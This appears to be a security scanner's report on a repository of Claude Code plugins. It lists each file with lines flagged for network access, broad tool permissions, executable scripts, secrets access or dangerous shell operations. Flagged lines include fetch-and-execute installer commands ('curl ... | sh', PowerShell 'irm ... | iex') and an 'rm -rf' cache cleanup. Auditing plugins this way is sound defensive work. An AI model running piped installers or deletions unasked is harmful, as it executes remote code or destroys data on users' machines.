<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/goal-prompt/skills/goal-prompt/SKILL.md
- Broad permissionsline 1
Bash Read Write
plugins/goal-prompt/skills/goal-prompt/scripts/format_goal_prompt.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/goal-prompt/skills/goal-prompt/scripts/test_format_goal_prompt.py
- Executable scriptline 1
Executable file
plugins/insecure-defaults/.claude-plugin/plugin.json
plugins/let-fate-decide/.claude-plugin/plugin.json
plugins/let-fate-decide/skills/let-fate-decide/SKILL.md
- Broad permissionsline 1
Bash Read Grep Glob
plugins/let-fate-decide/skills/let-fate-decide/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/let-fate-decide/skills/let-fate-decide/scripts/draw_cards.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/let-fate-decide/skills/let-fate-decide/scripts/test_draw_cards.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/modern-cpp/.claude-plugin/plugin.json
plugins/modern-cpp/skills/modern-cpp/references/compiler-hardening.md
- Network accessline 3
Security-focused compiler and linker configuration for C++ projects. Based on the [OpenSSF Compiler Options Hardening Guide](https://best.openssf.org/Compiler-Hardening-Guides/Compiler-Options-Hardening-Guide-for-C-and-C++.html) and Trail o - Network accessline 42
Trail of Bits found [20+ projects on GitHub](https://blog.trailofbits.com/2023/04/20/typos-that-omit-security-features-and-how-to-test-for-them/) where `_FORTIFY_SOURCE` was misspelled (e.g., `-FORTIFY_SOURCE=2` instead of `-D_FORTIFY_SOURC - Network accessline 174
- Enabled by default in Chrome, Android, Apple platforms - Catches use-after-free and buffer overflow in production - See [Trail of Bits guide to GWP-ASan](https://blog.trailofbits.com/2025/12/16/use-gwp-asan-to-detect-exploits-in-productio - Network accessline 176
- See [Trail of Bits guide to GWP-ASan](https://blog.trailofbits.com/2025/12/16/use-gwp-asan-to-detect-exploits-in-production-environments/) - Network accessline 205
For quick verification during development, compile on [Compiler Explorer](https://godbolt.org/) and inspect the generated assembly for canary checks and fortified function calls. - Network accessline 237
- [OpenSSF Compiler Options Hardening Guide](https://best.openssf.org/Compiler-Hardening-Guides/Compiler-Options-Hardening-Guide-for-C-and-C++.html) - Network accessline 238
- [libc++ Hardening Modes](https://libcxx.llvm.org/Hardening.html) - Network accessline 239
- [Trail of Bits: Typos That Omit Security Features](https://blog.trailofbits.com/2023/04/20/typos-that-omit-security-features-and-how-to-test-for-them/) - Network accessline 240
- [Trail of Bits: Use GWP-ASan in Production](https://blog.trailofbits.com/2025/12/16/use-gwp-asan-to-detect-exploits-in-production-environments/) - Network accessline 241
- [Google: Retrofitting Spatial Safety](https://security.googleblog.com/2024/11/retrofitting-spatial-safety-to-hundreds.html)
plugins/modern-cpp/skills/modern-cpp/references/cpp26-features.md
- Network accessline 82
- **GCC 16** (April 2026): Reflection merged in trunk - **Clang**: Bloomberg experimental fork ([github.com/bloomberg/clang-p2996](https://github.com/bloomberg/clang-p2996)), mainline catching up - Network accessline 83
- **Clang**: Bloomberg experimental fork ([github.com/bloomberg/clang-p2996](https://github.com/bloomberg/clang-p2996)), mainline catching up
plugins/modern-cpp/skills/modern-cpp/references/safe-idioms.md
- Network accessline 299
Know which operations invalidate iterators on which containers. When in doubt, use indices or rebuild the container. Trail of Bits' [Itergator](https://github.com/trailofbits/itergator) tool detects iterator invalidation bugs via CodeQL.
plugins/modern-python/.claude-plugin/plugin.json
plugins/modern-python/skills/modern-python/SKILL.md
- Network accessline 8
Guide for modern Python tooling and best practices, based on [trailofbits/cookiecutter-python](https://github.com/trailofbits/cookiecutter-python). - Network accessline 282
# Run Python with a temporary package uv run --with requests python -c "import requests; print(requests.get('https://httpbin.org/ip').json())" - Network accessline 283
uv run --with requests python -c "import requests; print(requests.get('https://httpbin.org/ip').json())"
plugins/modern-python/skills/modern-python/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/modern-python/skills/modern-python/references/dependabot.md
- Network accessline 3
[Dependabot](https://docs.github.com/en/code-security/dependabot) automatically creates pull requests to keep your dependencies up to date. GitHub hosts it natively—no external service required. - Network accessline 41
- [GitHub Dependabot docs](https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file)
plugins/modern-python/skills/modern-python/references/pep723-scripts.md
- Network accessline 35
response = requests.get("https://api.example.com/data") - Network accessline 76
# # [tool.uv] # extra-index-url = ["https://pypi.company.com/simple/"] - Network accessline 77
# [tool.uv] # extra-index-url = ["https://pypi.company.com/simple/"] # /// - Network accessline 78
# extra-index-url = ["https://pypi.company.com/simple/"] - Network accessline 106
@app.command() def fetch(url: str, format: str = "table"): - Network accessline 107
def fetch(url: str, format: str = "table"): - Network accessline 108
"""Fetch data from URL and display it.""" with httpx.Client() as client: response = client.get(url) - Network accessline 109
with httpx.Client() as client: - Network accessline 193
response = httpx.get("https://example.com") - Network accessline 232
async def main(): async with httpx.AsyncClient() as client: - Network accessline 233
async with httpx.AsyncClient() as client: - Network accessline 234
urls = ["https://api1.example.com", "https://api2.example.com"]
plugins/modern-python/skills/modern-python/references/prek.md
- Network accessline 3
[prek](https://github.com/j178/prek) is a fast, Rust-native drop-in replacement for pre-commit. It uses the same `.pre-commit-config.yaml` format and is fully compatible with existing configurations. - Network accessline 16
**Already using prek:** CPython, Apache Airflow, FastAPI, Ruff, Home Assistant, and [many more](https://github.com/j178/prek#who-is-using-prek). - Network accessline 44
repos: - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 45
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 46
rev: <latest> # https://github.com/astral-sh/ruff-pre-commit/releases - Network accessline 75
# See https://pre-commit.com for more information - Network accessline 79
repos: # Ruff - linting and formatting - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 80
# Ruff - linting and formatting - repo: https://github.com/astral-sh/ruff-pre-commit rev: <latest> # https://github.com/astral-sh/ruff-pre-commit/releases - Network accessline 81
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 82
rev: <latest> # https://github.com/astral-sh/ruff-pre-commit/releases - Network accessline 96
# Security hooks - see security-setup.md for detailed guidance # Shell script linting - repo: https://github.com/koalaman/shellcheck-precommit - Network accessline 97
# Shell script linting - repo: https://github.com/koalaman/shellcheck-precommit rev: <latest> # https://github.com/koalaman/shellcheck-precommit/tags - Network accessline 98
- repo: https://github.com/koalaman/shellcheck-precommit - Network accessline 99
rev: <latest> # https://github.com/koalaman/shellcheck-precommit/tags - Network accessline 104
# Secret detection - repo: https://github.com/Yelp/detect-secrets - Network accessline 105
- repo: https://github.com/Yelp/detect-secrets - Network accessline 106
rev: <latest> # https://github.com/Yelp/detect-secrets/releases - Network accessline 111
# GitHub Actions linting - repo: https://github.com/rhysd/actionlint - Network accessline 112
- repo: https://github.com/rhysd/actionlint - Network accessline 113
rev: <latest> # https://github.com/rhysd/actionlint/releases - Network accessline 117
# GitHub Actions security audit - repo: https://github.com/zizmorcore/zizmor-pre-commit - Network accessline 118
- repo: https://github.com/zizmorcore/zizmor-pre-commit - Network accessline 119
rev: <latest> # https://github.com/zizmorcore/zizmor-pre-commit/releases - Network accessline 167
runs-on: ubuntu-latest steps: - uses: actions/checkout@<sha> # <latest> https://github.com/actions/checkout/releases - Network accessline 168
steps: - uses: actions/checkout@<sha> # <latest> https://github.com/actions/checkout/releases - uses: j178/prek-action@<sha> # <latest> https://github.com/j178/prek-action/releases - Network accessline 169
- uses: actions/checkout@<sha> # <latest> https://github.com/actions/checkout/releases - Network accessline 170
- uses: j178/prek-action@<sha> # <latest> https://github.com/j178/prek-action/releases - Dangerous shell operationline 200
4. (Optional) Clean old environments: `rm -rf ~/.cache/pre-commit`
plugins/modern-python/skills/modern-python/references/pyproject.md
- Network accessline 39
[project.urls] Homepage = "https://github.com/org/myproject" - Network accessline 40
Homepage = "https://github.com/org/myproject" - Network accessline 41
Documentation = "https://myproject.readthedocs.io" - Network accessline 42
Repository = "https://github.com/org/myproject" - Network accessline 44
[build-system] requires = ["uv_build>=0.9,<1"] # Use latest 0.x; check https://pypi.org/project/uv-build/ - Network accessline 45
requires = ["uv_build>=0.9,<1"] # Use latest 0.x; check https://pypi.org/project/uv-build/ - Network accessline 146
[build-system] requires = ["uv_build>=0.9,<1"] # Use latest 0.x; check https://pypi.org/project/uv-build/ - Network accessline 147
requires = ["uv_build>=0.9,<1"] # Use latest 0.x; check https://pypi.org/project/uv-build/
plugins/modern-python/skills/modern-python/references/security-setup.md
- Network accessline 18
# Standalone installer curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh - Dangerous shell operationline 19
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh - Network accessline 19
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh - Network accessline 77
# In .pre-commit-config.yaml - repo: https://github.com/koalaman/shellcheck-precommit - Network accessline 78
- repo: https://github.com/koalaman/shellcheck-precommit - Network accessline 79
rev: <latest> # https://github.com/koalaman/shellcheck-precommit/tags - Network accessline 95
- repo: https://github.com/Yelp/detect-secrets - Network accessline 96
rev: <latest> # https://github.com/Yelp/detect-secrets/releases - Network accessline 134
- repo: https://github.com/rhysd/actionlint - Network accessline 135
rev: <latest> # https://github.com/rhysd/actionlint/releases - Network accessline 157
- repo: https://github.com/zizmorcore/zizmor-pre-commit - Network accessline 158
rev: <latest> # https://github.com/zizmorcore/zizmor-pre-commit/releases
plugins/modern-python/skills/modern-python/references/testing.md
- Network accessline 250
# GitHub Actions - name: Checkout uses: actions/checkout@<sha> # <latest> https://github.com/actions/checkout/releases - Network accessline 252
uses: actions/checkout@<sha> # <latest> https://github.com/actions/checkout/releases - Network accessline 264
- name: Upload coverage uses: codecov/codecov-action@<sha> # <latest> https://github.com/codecov/codecov-action/releases - Network accessline 265
uses: codecov/codecov-action@<sha> # <latest> https://github.com/codecov/codecov-action/releases
plugins/modern-python/skills/modern-python/references/uv-commands.md
- Network accessline 10
# macOS/Linux curl -LsSf https://astral.sh/uv/install.sh | sh - Dangerous shell operationline 11
curl -LsSf https://astral.sh/uv/install.sh | sh - Network accessline 11
curl -LsSf https://astral.sh/uv/install.sh | sh - Network accessline 13
# Windows powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex" - Network accessline 14
powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
plugins/modern-python/skills/modern-python/templates/pre-commit-config.yaml
- Network accessline 19
# Ruff - linting and formatting (replaces black, isort, flake8, pylint) - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 20
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 21
rev: <latest> # https://github.com/astral-sh/ruff-pre-commit/releases - Network accessline 40
# Shell script linting - catches unquoted vars, undefined vars, deprecated syntax - repo: https://github.com/koalaman/shellcheck-precommit - Network accessline 41
- repo: https://github.com/koalaman/shellcheck-precommit - Network accessline 42
rev: <latest> # https://github.com/koalaman/shellcheck-precommit/tags - Network accessline 47
# Secret detection - prevents committing API keys, passwords, tokens # Run `detect-secrets scan > .secrets.baseline` before first commit - repo: https://github.com/Yelp/detect-secrets - Network accessline 48
# Run `detect-secrets scan > .secrets.baseline` before first commit - repo: https://github.com/Yelp/detect-secrets rev: <latest> # https://github.com/Yelp/detect-secrets/releases - Network accessline 49
- repo: https://github.com/Yelp/detect-secrets - Network accessline 50
rev: <latest> # https://github.com/Yelp/detect-secrets/releases - Network accessline 55
# GitHub Actions linting - catches syntax errors, invalid refs - repo: https://github.com/rhysd/actionlint - Network accessline 56
- repo: https://github.com/rhysd/actionlint - Network accessline 57
rev: <latest> # https://github.com/rhysd/actionlint/releases - Network accessline 61
# GitHub Actions security audit - excessive permissions, injection risks - repo: https://github.com/zizmorcore/zizmor-pre-commit - Network accessline 62
- repo: https://github.com/zizmorcore/zizmor-pre-commit - Network accessline 63
rev: <latest> # https://github.com/zizmorcore/zizmor-pre-commit/releases
plugins/mutation-testing/.claude-plugin/plugin.json
plugins/mutation-testing/skills/mutation-testing/SKILL.md
- Broad permissionsline 1
Read Write Bash Grep
plugins/mutation-testing/skills/mutation-testing/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/open-sourcing/.claude-plugin/plugin.json
plugins/open-sourcing/skills/open-sourcing/SKILL.md
- Network accessline 154
- **Labels**: create them as soon as more than one issue or PR needs one; prefixes for facets scale well (`C:` component, `P:` platform). See [blight's labels](https://github.com/trailofbits/blight/labels) for a - Network accessline 155
prefixes for facets scale well (`C:` component, `P:` platform). See [blight's labels](https://github.com/trailofbits/blight/labels) for a worked example. - Network accessline 156
[blight's labels](https://github.com/trailofbits/blight/labels) for a - Network accessline 161
- Tag every release `vX.Y.Z`, following [semver](https://semver.org/); use
plugins/open-sourcing/skills/open-sourcing/references/c-cpp.md
- Network accessline 5
Use modern CMake. For new projects, [cmake-init](https://github.com/friendlyanon/cmake-init) generates a - Network accessline 6
[cmake-init](https://github.com/friendlyanon/cmake-init) generates a - Network accessline 26
- **Unit tests:** [GoogleTest](https://github.com/google/googletest), run - Network accessline 31
- **Valgrind** remains useful for leak detection where sanitizers cannot run. - **Fuzzing:** for code that parses untrusted input, add libFuzzer or AFL++ harnesses, and consider [OSS-Fuzz](https://github.com/google/oss-fuzz) - Network accessline 32
- **Fuzzing:** for code that parses untrusted input, add libFuzzer or AFL++ harnesses, and consider [OSS-Fuzz](https://github.com/google/oss-fuzz) enrollment once public. - Network accessline 33
harnesses, and consider [OSS-Fuzz](https://github.com/google/oss-fuzz) - Network accessline 41
CI. Defaults are fine; a repository may commit its own `.clang-format` and `.clang-tidy` configurations. Examples: [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.clang-format), - Network accessline 42
`.clang-tidy` configurations. Examples: [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.clang-format), [winchecksec](https://github.com/trailofbits/winchecksec/blob/master/.clang-format). - Network accessline 43
[pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.clang-format), - Network accessline 44
[winchecksec](https://github.com/trailofbits/winchecksec/blob/master/.clang-format). - Network accessline 48
[Doxygen](https://www.doxygen.nl/) for API documentation, published to GitHub - Network accessline 56
consider a container image. Keep images small: multi-stage builds with a minimal base (alpine, distroless). - See [pe-parse's release workflow](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml) - Network accessline 57
minimal base (alpine, distroless). - See [pe-parse's release workflow](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml) for an example of CI-managed release packaging. - Network accessline 58
- See [pe-parse's release workflow](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml)
plugins/open-sourcing/skills/open-sourcing/references/go.md
- Network accessline 17
it liberally; exporting a package is an API commitment. - Do not create a `pkg/` directory reflexively; the [official module layout guidance](https://go.dev/doc/modules/layout) - Network accessline 18
- Do not create a `pkg/` directory reflexively; the [official module layout guidance](https://go.dev/doc/modules/layout) recommends putting importable packages at the repository root unless there - Network accessline 19
[official module layout guidance](https://go.dev/doc/modules/layout) - Network accessline 22
- Keep packages focused on a single responsibility, handle every error, and reserve `panic` for unrecoverable states. Follow [Effective Go](https://go.dev/doc/effective_go) and the - Network accessline 23
reserve `panic` for unrecoverable states. Follow [Effective Go](https://go.dev/doc/effective_go) and the [Go style guide](https://google.github.io/styleguide/go/). - Network accessline 24
[Effective Go](https://go.dev/doc/effective_go) and the - Network accessline 25
[Go style guide](https://google.github.io/styleguide/go/). - Network accessline 30
insurance for any code with goroutines. - `gofmt` (or `go fmt`) before committing; enforce in CI. - [golangci-lint](https://golangci-lint.run/) with a committed configuration. - Network accessline 31
- `gofmt` (or `go fmt`) before committing; enforce in CI. - [golangci-lint](https://golangci-lint.run/) with a committed configuration. - [govulncheck](https://go.dev/blog/vuln) in CI to flag known-vulnerable - Network accessline 32
- [golangci-lint](https://golangci-lint.run/) with a committed configuration. - Network accessline 33
- [govulncheck](https://go.dev/blog/vuln) in CI to flag known-vulnerable - Network accessline 38
Write doc comments for every exported identifier — complete sentences beginning with the identifier name. [pkg.go.dev](https://pkg.go.dev/) renders - Network accessline 39
beginning with the identifier name. [pkg.go.dev](https://pkg.go.dev/) renders - Network accessline 44
- There is no central upload step: pushing a semver tag (`vX.Y.Z`) to the public repository *is* publishing. The module proxy and pkg.go.dev pick it up automatically. See [developing modules](https://go.dev/doc/modules/developing). - Network accessline 45
public repository *is* publishing. The module proxy and pkg.go.dev pick it up automatically. See [developing modules](https://go.dev/doc/modules/developing). - Because tags are immutable once fetched through the module proxy, never - Network accessline 46
up automatically. See [developing modules](https://go.dev/doc/modules/developing). - Network accessline 47
- Because tags are immutable once fetched through the module proxy, never retag; publish a new patch version instead. - For binaries, use [goreleaser](https://goreleaser.com/) to build - Network accessline 48
retag; publish a new patch version instead. - For binaries, use [goreleaser](https://goreleaser.com/) to build multi-platform artifacts, generate release notes from commits, and attach - Network accessline 49
- For binaries, use [goreleaser](https://goreleaser.com/) to build - Network accessline 50
multi-platform artifacts, generate release notes from commits, and attach everything to the GitHub Release on each tag. Consider GitHub [artifact attestations](https://docs.github.com/en/actions/security-for-github-actions/using-artifac - Network accessline 51
everything to the GitHub Release on each tag. Consider GitHub [artifact attestations](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations) for provenance on released binaries. - Network accessline 52
[artifact attestations](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations)
plugins/open-sourcing/skills/open-sourcing/references/javascript.md
plugins/open-sourcing/skills/open-sourcing/references/licensing.md
- Network accessline 29
| License | Type | Choose when | |---------|------|-------------| | [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) | Permissive | Default for libraries and tools; includes an explicit patent grant, which MIT lacks | - Network accessline 30
|---------|------|-------------| | [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) | Permissive | Default for libraries and tools; includes an explicit patent grant, which MIT lacks | | [MIT](https://opensource.org/license/mit) | - Network accessline 31
| [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) | Permissive | Default for libraries and tools; includes an explicit patent grant, which MIT lacks | - Network accessline 32
| [MIT](https://opensource.org/license/mit) | Permissive | Maximum simplicity; ecosystem convention (e.g., much of npm) | - Network accessline 33
| [AGPLv3](https://www.gnu.org/licenses/agpl-3.0.en.html) | Network copyleft | The project offers competitors a significant advantage if modified privately, including as a hosted service | - Network accessline 34
| [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html) | Copyleft | Copyleft desired but the network-use clause is not needed | | [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) | Share-alike (non-software) | Publications a - Network accessline 35
| [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) | Share-alike (non-software) | Publications and documentation; allows commercial use with attribution | - Network accessline 36
| [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) | Non-commercial (non-software) | Rulesets or datasets where commercial use should require a separate agreement | - Network accessline 39
non-competes) unless legal counsel is driving that decision; they create adoption friction and are not open source under the [OSD](https://opensource.org/osd). - Network accessline 41
[OSD](https://opensource.org/osd).
plugins/open-sourcing/skills/open-sourcing/references/python.md
- Network accessline 29
- **API docs:** [pdoc](https://github.com/mitmproxy/pdoc) — note *pdoc*, not - Network accessline 30
*pdoc3*, which is a hostile fork. - **Full documentation sites:** [Sphinx](https://www.sphinx-doc.org/) with the [furo](https://github.com/pradyunsg/furo) theme, or - Network accessline 31
- **Full documentation sites:** [Sphinx](https://www.sphinx-doc.org/) with the - Network accessline 32
[furo](https://github.com/pradyunsg/furo) theme, or - Network accessline 33
[MkDocs with Material](https://squidfunk.github.io/mkdocs-material/). - Network accessline 34
- Deploy to GitHub Pages from CI ([actions/deploy-pages](https://github.com/actions/deploy-pages) or [actions-gh-pages](https://github.com/peaceiris/actions-gh-pages)) and link - Network accessline 35
([actions/deploy-pages](https://github.com/actions/deploy-pages) or - Network accessline 36
[actions-gh-pages](https://github.com/peaceiris/actions-gh-pages)) and link - Network accessline 47
Use [trusted publishing](https://docs.pypi.org/trusted-publishers/) — an OIDC - Network accessline 121
`attestations: true` generates [PEP 740](https://peps.python.org/pep-0740/) - Network accessline 122
publish attestations — the default since gh-action-pypi-publish v1.11, kept explicit here for clarity — and the provenance job attaches [SLSA build provenance](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-at - Network accessline 123
explicit here for clarity — and the provenance job attaches [SLSA build provenance](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations) to the built distributions. - Network accessline 124
[SLSA build provenance](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations) - Network accessline 129
- Property-based tests with [Hypothesis](https://hypothesis.readthedocs.io/) for parsing- or - Network accessline 130
[Hypothesis](https://hypothesis.readthedocs.io/) for parsing- or - Network accessline 132
marketplace). - Docstring coverage enforcement with [interrogate](https://interrogate.readthedocs.io/) or ruff's `D` rules so - Network accessline 133
- Docstring coverage enforcement with [interrogate](https://interrogate.readthedocs.io/) or ruff's `D` rules so public APIs stay documented as the project grows. - Network accessline 134
[interrogate](https://interrogate.readthedocs.io/) or ruff's `D` rules so - Network accessline 135
public APIs stay documented as the project grows. - Dependency auditing in CI with `uv audit` (currently in preview) or [pip-audit](https://github.com/pypa/pip-audit). - Network accessline 137
[pip-audit](https://github.com/pypa/pip-audit).
plugins/open-sourcing/skills/open-sourcing/references/ruby.md
- Network accessline 11
Use [Bundler](https://bundler.io/). Configure it to install into a vendor - Network accessline 22
Use [RuboCop](https://github.com/rubocop/rubocop). The default cops are - Network accessline 28
- Publish to [RubyGems.org](https://rubygems.org/). - Network accessline 29
- Use RubyGems [trusted publishing](https://guides.rubygems.org/trusted-publishing/)
plugins/open-sourcing/skills/open-sourcing/references/rust.md
- Network accessline 34
- [`cargo audit`](https://github.com/rustsec/rustsec) in CI flags - Network accessline 35
dependencies with known advisories. - [`cargo deny`](https://github.com/EmbarkStudios/cargo-deny) additionally enforces license and source policies on the dependency tree — useful for - Network accessline 36
- [`cargo deny`](https://github.com/EmbarkStudios/cargo-deny) additionally - Network accessline 43
- Use crates.io [trusted publishing](https://crates.io/docs/trusted-publishing) - Network accessline 44
(OIDC from GitHub Actions) instead of long-lived API tokens. - [`cargo release`](https://github.com/crate-ci/cargo-release) manages version bumps, tagging, and pushing. A common configuration in - Network accessline 45
- [`cargo release`](https://github.com/crate-ci/cargo-release) manages - Network accessline 61
For tools with end-user binaries, use [cargo-dist](https://github.com/axodotdev/cargo-dist) or - Network accessline 62
[cargo-dist](https://github.com/axodotdev/cargo-dist) or - Network accessline 63
[goreleaser](https://goreleaser.com/) to build multi-platform release
plugins/open-sourcing/skills/open-sourcing/references/trailofbits.md
- Network accessline 11
- **Default to [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0)** - Network accessline 12
for nearly all projects. - **Use [AGPLv3](https://www.gnu.org/licenses/agpl-3.0.en.html)** when the project would offer a significant advantage to competitors who modify it - Network accessline 13
- **Use [AGPLv3](https://www.gnu.org/licenses/agpl-3.0.en.html)** when the - Network accessline 15
without contributing changes back. - **Use Creative Commons for non-code work:** - [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) - Network accessline 16
- **Use Creative Commons for non-code work:** - [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) for rulesets (e.g., [semgrep-rules](https://github.com/trailofbits/semgrep-rules)) - Network accessline 17
- [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) - Network accessline 18
for rulesets (e.g., [semgrep-rules](https://github.com/trailofbits/semgrep-rules)) - Network accessline 19
- [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) for - Network accessline 20
publications and informational material (e.g., [publications](https://github.com/trailofbits/publications)) - When in doubt, confirm with the project manager or an existing open-source - Network accessline 21
[publications](https://github.com/trailofbits/publications)) - Network accessline 37
Official projects live in the [trailofbits](https://github.com/trailofbits) - Network accessline 38
GitHub organization. Related ecosystems use [lifting-bits](https://github.com/lifting-bits) (binary lifting) and [crytic](https://github.com/crytic) (smart contract tooling). Move personal - Network accessline 39
[lifting-bits](https://github.com/lifting-bits) (binary lifting) and - Network accessline 40
[crytic](https://github.com/crytic) (smart contract tooling). Move personal - Network accessline 48
- **PyPI:** add the [trailofbits organization](https://pypi.org/org/trailofbits/) - Network accessline 49
as an owner of the package. - **RubyGems:** add the [trailofbits account](https://rubygems.org/profiles/trailofbits) as a gem co-owner. - Network accessline 50
- **RubyGems:** add the [trailofbits account](https://rubygems.org/profiles/trailofbits) - Network accessline 60
- **Python:** generate new projects with [cookiecutter-python](https://github.com/trailofbits/cookiecutter-python), - Network accessline 61
[cookiecutter-python](https://github.com/trailofbits/cookiecutter-python), - Network accessline 66
marketplace covers the same toolchain. - Example repositories for release automation: [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml) - Network accessline 67
- Example repositories for release automation: [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml) (C++/CI-managed packaging) and - Network accessline 68
[pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml) - Network accessline 69
(C++/CI-managed packaging) and [pip-audit](https://github.com/pypa/pip-audit/blob/main/.github/workflows/release.yml) (Python/trusted publishing). - Network accessline 70
[pip-audit](https://github.com/pypa/pip-audit/blob/main/.github/workflows/release.yml)
plugins/open-sourcing/skills/open-sourcing/scripts/check_readiness.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/open-sourcing/skills/open-sourcing/scripts/detect_org.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/patching-bugs/.claude-plugin/plugin.json
plugins/patching-bugs/scripts/arms.py
- Executable scriptline 1
Executable file
plugins/patching-bugs/scripts/native_proof.py
- Executable scriptline 1
Executable file
plugins/patching-bugs/scripts/records.py
plugins/patching-bugs/scripts/render.py
- Executable scriptline 1
Executable file
plugins/post-patch-validation/.claude-plugin/plugin.json
plugins/post-patch-validation/skills/post-patch-validation/SKILL.md
plugins/post-patch-validation/skills/post-patch-validation/scripts/post_patch_validation.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 123
[Credential-related source omitted] - Network accessline 151
PLAN_SCHEMA: dict[str, Any] = { "$schema": "https://json-schema.org/draft/2020-12/schema", - Network accessline 152
"$schema": "https://json-schema.org/draft/2020-12/schema", - Access to secretsline 265
[Credential-related source omitted] - Access to secretsline 762
[Credential-related source omitted] - Access to secretsline 764
[Credential-related source omitted]
plugins/property-based-testing/.claude-plugin/plugin.json
plugins/property-based-testing/skills/property-based-testing/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/property-based-testing/skills/property-based-testing/references/libraries.md
- Network accessline 77
Tutorials: [secure-contracts.com](https://secure-contracts.com).
plugins/property-based-testing/skills/property-based-testing/references/refactoring.md
- Network accessline 18
# Before: the arithmetic is real but unreachable without a database def process_order(order_id: str) -> None: order = db.fetch(order_id) - Network accessline 19
def process_order(order_id: str) -> None: order = db.fetch(order_id) total = apply_discount(order, calculate_discount(order)) - Network accessline 20
order = db.fetch(order_id) - Network accessline 28
def process_order(order_id: str) -> None: order = db.fetch(order_id) - Network accessline 29
order = db.fetch(order_id) - Access to secretsline 98
[Credential-related source omitted]
plugins/regression-hunt/.claude-plugin/plugin.json
plugins/regression-hunt/scripts/registry.py
plugins/regression-hunt/scripts/report.py
- Executable scriptline 1
Executable file
plugins/regression-hunt/scripts/snapshot.py
- Executable scriptline 1
Executable file - Network accessline 46
prefix = stream.read(1024) if prefix.split(b"\n", 1)[0].rstrip(b"\r") == ( b"version https://git-lfs.github.com/spec/v1" - Network accessline 47
if prefix.split(b"\n", 1)[0].rstrip(b"\r") == ( b"version https://git-lfs.github.com/spec/v1" ): - Network accessline 48
b"version https://git-lfs.github.com/spec/v1"
plugins/review-walkthrough/.claude-plugin/plugin.json
plugins/review-walkthrough/skills/review-walkthrough/SKILL.md
- Network accessline 69
prose or snippets as `<` and `>`. Backticks and Markdown fences are literal text here. Supported inline tags also include `<sup>`, `<sub>`, `<kbd>`, `<del>`, and `<a href="https://…">`. The page sanitizes fragments and converts them t - Network accessline 70
